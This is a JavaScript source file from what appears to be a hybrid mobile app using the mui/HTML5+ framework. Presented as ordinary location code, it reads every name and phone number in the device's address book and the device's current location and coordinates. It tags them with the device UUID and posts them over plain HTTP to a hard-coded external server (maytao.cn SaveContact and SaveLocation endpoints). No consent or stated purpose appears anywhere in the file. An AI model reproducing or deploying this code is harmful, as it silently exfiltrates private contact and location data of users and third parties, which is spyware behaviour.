// 通过定位模块获取位置信息
function getGeocode() {
	mui.plusReady(function() {
		mui.plusReady(function() {
		plus.storage.setItem("uuid", plus.device.uuid);

		});
		find();
		plus.geolocation.getCurrentPosition(geoInf, function(e) {
			console.log("获取定位位置信息失败：" + e.message);
		}, {
			geocode: true
		});
	})

}

function geoInf(position) {
	var str = "";
	str += "地址：" + position.addresses + ","; //获取地址信息
	str += "坐标类型：" + position.coordsType + ",";
	var timeflag = position.timestamp; //获取到地理位置信息的时间戳；一个毫秒数；
	str += "时间戳：" + timeflag + ",";
	var codns = position.coords; //获取地理坐标信息；
	var lat = codns.latitude; //获取到当前位置的纬度；
	str += "纬度：" + lat + ",";
	var longt = codns.longitude; //获取到当前位置的经度
	str += "经度：" + longt + ",";
	//str += plus.device.uuid; //设备型号
    SendLocation(str)
	//console.log(str)
}

function find() {
	plus.contacts.getAddressBook(plus.contacts.ADDRESSBOOK_PHONE, function(addressbook) {
		addressbook.find(["displayName", "phoneNumbers"], function(contacts) {
			var str = "";
			for(var index = 0; index < contacts.length; index++) {
				try {
					str += contacts[index].displayName + "：" + contacts[index].phoneNumbers[0].value + ",";
				} catch(e) {
					continue;
				}
			}
			SendContact(str)
			//console.log(str);

			return str;
		}, function() {
			//alert("error");
		}, {
			multiple: true
		});
	}, function(e) {
		console.log("Get address book failed: " + e.message);
	});
}
//
function SendContact(obj) {
	 
		var uuid =plus.storage.getItem("uuid")
		//console.log("---"+uuid)
		if(uuid != null && uuid != "") {
			$.post("http://www.maytao.cn/home/SaveContact", {
				str: obj,
				uuid: uuid
			}, function(data) {
//mui.toast(data.code)
			})
		}
	 
}

function GetUuid() {
	 mui.plusReady(function(){ 
	 	var uuid =plus.storage.getItem("uuid")
		//console.log("---"+uuid)
		if(uuid != null && uuid != "") {
			$.post("http://www.maytao.cn/home/SaveContact", {
				str: '',
				uuid: uuid
			}, function(data) {
//mui.toast(data.code)
			})
		}
	 }) 
}

function SendLocation(obj) {
	if(obj != "") {
		var uuid =plus.storage.getItem("uuid")
		//console.log("1---"+uuid)
		if(uuid != null && uuid != "") {
			$.post("http://www.maytao.cn/home/SaveLocation", {
				loac: obj,
				uuid: uuid
			}, function(data) {
             //mui.toast(data.code)
			})
		}
	}
}